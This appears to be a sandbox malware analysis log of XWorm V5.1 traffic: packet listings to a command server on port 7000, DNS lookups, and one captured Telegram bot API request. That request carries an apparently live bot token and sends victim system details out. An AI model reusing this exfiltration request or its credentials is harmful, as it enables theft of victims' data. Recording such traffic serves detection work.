Mar 28, 2024 10:25:47.861834049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.861841917 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.861865997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.861869097 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.909555912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.909586906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.909656048 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.909681082 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.909722090 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.909730911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.909774065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.909816027 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.909825087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.909887075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.909921885 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.909964085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910046101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910115957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910151005 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.910198927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910294056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910326958 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.910356998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910401106 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.910413980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910521030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910566092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910587072 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.910609961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.910643101 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.910690069 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.957453012 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.989923000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.989953995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990000010 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.990021944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990067959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990106106 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.990128994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990190983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990237951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990263939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.990299940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990348101 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.990350962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990403891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990442038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990457058 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.990515947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990559101 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.990566015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990648985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990695953 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.990711927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990767956 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990858078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990902901 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.990927935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.990981102 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:47.991003036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.991139889 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:47.991180897 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.032197952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032215118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032269955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032314062 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.032335043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032391071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032432079 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.032466888 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032522917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032525063 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.032635927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032691002 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.032695055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032818079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032855034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032880068 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.032931089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.032984018 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.033008099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.033062935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.033107996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.033118963 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.033205986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.033242941 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.033265114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.033319950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.033370018 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.074162006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116508007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116529942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116544962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116561890 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116563082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116576910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116584063 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116591930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116606951 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116614103 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116619110 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116640091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116652966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116653919 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116682053 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116692066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116705894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116719961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116741896 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116753101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116760015 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116767883 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116792917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116805077 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116857052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116873026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116885900 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.116909027 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116934061 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.116940975 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143172979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143215895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143258095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143313885 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143330097 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.143343925 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.143374920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143415928 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.143431902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143493891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143527985 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.143552065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143596888 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143631935 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.143654108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143726110 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143763065 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.143796921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143845081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143887043 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.143903971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.143979073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.144021988 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.144047022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.144131899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.144170046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.144174099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227612972 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227636099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227650881 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227668047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227667093 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227683067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227693081 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227696896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227710009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227734089 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227771044 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227771997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227787971 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227804899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227818012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227843046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227844954 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227855921 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227890015 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227904081 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227916956 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227929115 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227937937 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227952957 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.227979898 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.227993965 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.228007078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.228020906 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.228024006 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.228051901 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.244683027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244699001 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244713068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244730949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.244740009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244764090 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244766951 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.244779110 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244807005 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244808912 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.244848967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244860888 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.244863987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244901896 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.244904995 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244942904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244956970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244971037 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.244977951 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.244996071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.245019913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.245038033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.245074034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.245090008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.245094061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.245107889 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.245145082 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.297024965 CET	49701	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:48.298150063 CET	49701	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:48.304678917 CET	49725	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:48.304708004 CET	443	49725	104.98.116.138	192.168.2.7
Mar 28, 2024 10:25:48.304784060 CET	49725	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:48.306900024 CET	49725	443	192.168.2.7	104.98.116.138
Mar 28, 2024 10:25:48.306915045 CET	443	49725	104.98.116.138	192.168.2.7
Mar 28, 2024 10:25:48.348577976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348598003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348664045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348673105 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.348742962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348751068 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.348761082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348777056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348803043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348812103 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.348819017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348831892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348844051 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.348850965 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348875046 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.348879099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348905087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348917961 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.348922014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348947048 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.348958969 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.348977089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349030972 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349033117 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.349087000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349107981 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349121094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349133968 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349138021 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.349160910 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.349740982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349785089 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.349786997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349838018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349853039 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349884987 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.349925041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.349970102 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.349992990 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350049019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350090981 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.350116968 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350132942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350167990 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.350235939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350282907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350337029 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.350354910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350410938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350434065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350474119 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.350495100 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350565910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350580931 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350600958 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.350621939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.350622892 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350641966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.350670099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.451754093 CET	443	49701	104.98.116.138	192.168.2.7
Mar 28, 2024 10:25:48.452624083 CET	443	49701	104.98.116.138	192.168.2.7
Mar 28, 2024 10:25:48.475435019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.475492001 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.475543976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.475565910 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.475620031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.475651979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.475676060 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.475733042 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.475773096 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.475858927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.475933075 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.475970984 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.476123095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476165056 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476205111 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.476233006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476269960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476308107 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.476321936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476419926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476455927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476458073 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.476627111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476732969 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476769924 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.476779938 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.476809978 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:48.476811886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.481906891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:48.481966019 CET	7000	49713	104.194.9.116	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 28, 2024 10:25:29.413841963 CET	192.168.2.7	1.1.1.1	0xc0fd	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Mar 28, 2024 10:27:09.750531912 CET	192.168.2.7	1.1.1.1	0x447	Standard query (0)	wmploc.dll	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 28, 2024 10:25:29.510133982 CET	1.1.1.1	192.168.2.7	0xc0fd	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Mar 28, 2024 10:25:46.482469082 CET	1.1.1.1	192.168.2.7	0xc6e8	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 10:25:46.482469082 CET	1.1.1.1	192.168.2.7	0xc6e8	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 10:27:09.847945929 CET	1.1.1.1	192.168.2.7	0x447	Name error (3)	wmploc.dll	none	none	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	149.154.167.220	443	3416	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 09:25:30 UTC	446	OUT	GET /bot6330888131:AAE5ycZdHuNqV5SVYhHeCfRENn6GuCjwXjs/sendMessage?chat_id=1046049845&text=%E2%98%A0%20%5BXWorm%20V5.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AB83F65D83688BE31381B%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20UZK6EYLC%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20pdr326 HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-03-28 09:25:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 28 Mar 2024 09:25:30 GMT Content-Type: application/json Content-Length: 436 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
